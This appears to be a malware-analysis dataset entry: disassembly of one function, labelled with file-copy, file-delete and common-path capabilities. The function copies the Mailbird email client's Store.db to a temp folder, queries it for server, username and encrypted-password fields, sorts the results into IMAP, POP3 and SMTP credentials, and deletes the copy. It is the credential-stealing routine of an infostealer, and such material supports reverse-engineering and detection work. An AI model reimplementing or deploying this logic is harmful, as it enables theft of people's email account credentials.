Function at 0x418cb9
Capabilities:
Copy file
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x4154
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, esp
mov dword [esp + 0x4150], eax
push ebx
push esi
push edi
mov dword [esp + 0x18], ecx
lea edi, [esp + 0x1c]
push 6
pop ecx
mov esi, str.MailbirdStoreStore.db
mov ebx, dword [ebp + 8]
rep movsd dword es:[edi], dword [esi]
push 0x12
pop ecx
push 0x14
movsb byte es:[edi], byte [esi]
xor edx, edx
mov dword [esp + 0x14], edx
mov esi, str.select_Server_Host__Server_Port__Username__EncryptedPassword_from_Accounts
mov dword [esp + 0x10], edx
lea edi, [esp + 0x3c]
rep movsd dword es:[edi], dword [esi]
pop ecx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x88]
mov esi, str.select_Server_Host__Server_Port__Username__EncryptedPassword_from_SenderIdentities
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
test ebx, ebx
je 0x418e09
push ebx
call fcn.00643470
pop ecx
cmp eax, 1
jb 0x418e07
push ebx
call fcn.00643470
pop ecx
cmp byte [eax + ebx - 1], 0x5c
jne 0x418d51
push ebx
call fcn.00643470
pop ecx
mov byte [eax + ebx - 1], 0
push ebx
push str._sStoreStore.db
mov esi, 0x3e8
lea eax, [esp + 0xe8]
push esi
push eax
call fcn.00402e0a
add esp, 0x10
lea ecx, [esp + 0xe0]
call fcn.00405670
test eax, eax
jne 0x418da8
push ebx
push str._sStore.db
lea eax, [esp + 0xe8]
push esi
push eax
call fcn.00402e0a
add esp, 0x10
lea ecx, [esp + 0xe0]
call fcn.00405670
test eax, eax
je 0x4192a2
lea eax, [esp + 0x1660]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.00649307
push eax
lea eax, [esp + 0x1664]
push eax
push str._smailb__d
lea eax, [esp + 0x1284]
push esi
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [esp + 0x1278]
xor ebx, ebx
push ebx
push eax
lea eax, [esp + 0xe8]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x418e5e
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 0xe0]
jmp 0x418e65
xor edx, edx
lea eax, [esp + 0xe0]
push eax
push edx
push edx
push 0x1c
push edx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x4192a2
lea eax, [esp + 0x1c]
mov esi, 0x3e8
push eax
lea eax, [esp + 0xe4]
push esi
push eax
call fcn.006500a8
add esp, 0xc
lea ecx, [esp + 0xe0]
call fcn.00405670
test eax, eax
jne 0x418da8
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4192a2
lea ecx, [esp + 0x1278]
push ebx
push 1
lea edx, [esp + 0x18]
call fcn.004bffc8
pop ecx
pop ecx
test eax, eax
jne 0x4192a2
lea eax, [esp + 0x38]
push eax
call fcn.00643470
pop ecx
push ebx
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x18]
lea edx, [esp + 0x40]
push ebx
push ebx
push eax
call fcn.0049d467
add esp, 0x14
test eax, eax
jne 0x419025
cmp dword [esp + 0xc], ebx
je 0x4190a1
mov ebx, dword [esp + 0x18]
push dword [esp + 0xc]
xor eax, eax
mov byte [esp + 0x8b4], al
mov byte [esp + 0x4cc], al
mov byte [esp + 0xc9c], al
mov byte [esp + 0x1a4c], al
call fcn.0047234d
pop ecx
cmp eax, 0x65
je 0x419025
cmp eax, 0x64
jne 0x419025
push 3
push dword [esp + 0x10]
call fcn.004728b2
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x418eb5
push edi
call fcn.00643470
pop ecx
push edi
cmp eax, 0x2328
jb 0x418f19
call fcn.00643470
pop ecx
jmp 0x418eb5
lea eax, [esp + 0x1a4c]
push 0x2710
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [esp + 0x1a48]
push eax
call fcn.00643470
pop ecx
cmp eax, 1
jb 0x418eb5
push ecx
lea edx, [esp + 0x8b4]
lea ecx, [esp + 0x1a4c]
call fcn.00418b17
pop ecx
test eax, eax
je 0x418eb5
push 0
push dword [esp + 0x10]
call fcn.004728b2
pop ecx
pop ecx
test eax, eax
je 0x418f85
push eax
lea eax, [esp + 0x4cc]
push esi
push eax
call fcn.006494f3
add esp, 0xc
push 1
push dword [esp + 0x10]
call fcn.00472860
push 2
push dword [esp + 0x18]
call fcn.004728b2
add esp, 0x10
test eax, eax
je 0x418fb4
push eax
lea eax, [esp + 0xc9c]
push esi
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [esp + 0x4c8]
push str.imap
push eax
call fcn.00639500
test eax, eax
mov edx, str.IMAP
mov ecx, str.POP3
lea eax, [esp + 0x1088]
cmovne ecx, edx
push ecx
push 0x1f4
push eax
call fcn.006494f3
add esp, 0x14
lea eax, [esp + 0x8b0]
mov ecx, ebx
push 0xffffffffffffffff
push 0x6c5bb9
push eax
lea eax, [esp + 0xca4]
push eax
lea eax, [esp + 0x4d8]
push eax
lea eax, [esp + 0x1094]
push eax
push 0x103
push 2
call fcn.0043ee6b
jmp 0x418eb5
mov edi, dword [esp + 0xc]
test edi, edi
je 0x4190a1
mov ebx, dword [edi]
mov ecx, edi
call fcn.00471953
test eax, eax
je 0x419046
mov ecx, 0x15fb2
call fcn.004c0852
jmp 0x4190a1
cmp dword [ebx + 0xc], 0
je 0x419056
push dword [ebx + 0xc]
call dword [0x70f168]
pop ecx
cmp dword [edi + 0x8c], 0
jl 0x419073
jg 0x41906a
cmp dword [edi + 0x88], 0
jbe 0x419073
mov edx, edi
mov ecx, ebx
call fcn.00471970
mov ecx, edi
call fcn.0047035b
mov ecx, edi
mov dword [esp + 0x14], eax
call fcn.004704f6
cmp byte [ebx + 0x57], 0
mov edx, dword [esp + 0x14]
jne 0x419093
test edx, edx
je 0x41909a
mov ecx, ebx
call fcn.00451a83
mov ecx, ebx
call fcn.004be94a
lea eax, [esp + 0x88]
push eax
call fcn.00643470
pop ecx
xor ebx, ebx
lea ecx, [esp + 0xc]
push ebx
push ecx
mov ecx, dword [esp + 0x18]
lea edx, [esp + 0x90]
push ebx
push ebx
push eax
call fcn.0049d467
add esp, 0x14
test eax, eax
jne 0x419214
cmp dword [esp + 0xc], ebx
je 0x419289
push dword [esp + 0xc]
mov byte [esp + 0x8b4], bl
mov byte [esp + 0x4cc], bl
mov byte [esp + 0xc9c], bl
mov byte [esp + 0x1a4c], bl
call fcn.0047234d
pop ecx
cmp eax, 0x65
je 0x419214
cmp eax, 0x64
jne 0x419214
push 3
push dword [esp + 0x10]
call fcn.004728b2
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4190df
push edi
call fcn.00643470
pop ecx
push edi
cmp eax, 0x2328
jb 0x419141
call fcn.00643470
pop ecx
jmp 0x4190df
lea eax, [esp + 0x1a4c]
push 0x2710
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [esp + 0x1a48]
push eax
call fcn.00643470
pop ecx
cmp eax, 1
jb 0x4190df
push ecx
lea edx, [esp + 0x8b4]
lea ecx, [esp + 0x1a4c]
call fcn.00418b17
pop ecx
test eax, eax
je 0x4190df
push ebx
push dword [esp + 0x10]
call fcn.004728b2
pop ecx
pop ecx
test eax, eax
je 0x4191ac
push eax
lea eax, [esp + 0x4cc]
push esi
push eax
call fcn.006494f3
add esp, 0xc
push 1
push dword [esp + 0x10]
call fcn.00472860
push 2
push dword [esp + 0x18]
call fcn.004728b2
add esp, 0x10
test eax, eax
je 0x4191db
push eax
lea eax, [esp + 0xc9c]
push esi
push eax
call fcn.006494f3
add esp, 0xc
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x8b0]
push 0xffffffffffffffff
push 0x6c5bb9
push eax
lea eax, [esp + 0xca4]
push eax
lea eax, [esp + 0x4d8]
push eax
push str.SMTP
push 0x103
push 2
call fcn.0043ee6b
jmp 0x4190df
mov esi, dword [esp + 0xc]
test esi, esi
je 0x419289
mov edi, dword [esi]
mov ecx, esi
call fcn.00471953
test eax, eax
je 0x419235
mov ecx, 0x15fb2
call fcn.004c0852
jmp 0x419289
cmp dword [edi + 0xc], ebx
je 0x419244
push dword [edi + 0xc]
call dword [0x70f168]
pop ecx
cmp dword [esi + 0x8c], ebx
jl 0x41925f
jg 0x419256
cmp dword [esi + 0x88], ebx
jbe 0x41925f
mov edx, esi
mov ecx, edi
call fcn.00471970
mov ecx, esi
call fcn.0047035b
mov ecx, esi
mov ebx, eax
call fcn.004704f6
cmp byte [edi + 0x57], 0
jne 0x419279
test ebx, ebx
je 0x419282
mov edx, ebx
mov ecx, edi
call fcn.00451a83
mov ecx, edi
call fcn.004be94a
mov ecx, dword [esp + 0x10]
xor edx, edx
call fcn.004be7da
lea eax, [esp + 0x1278]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [esp + 0x415c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.006122f0
mov esp, ebp
pop ebp
ret 4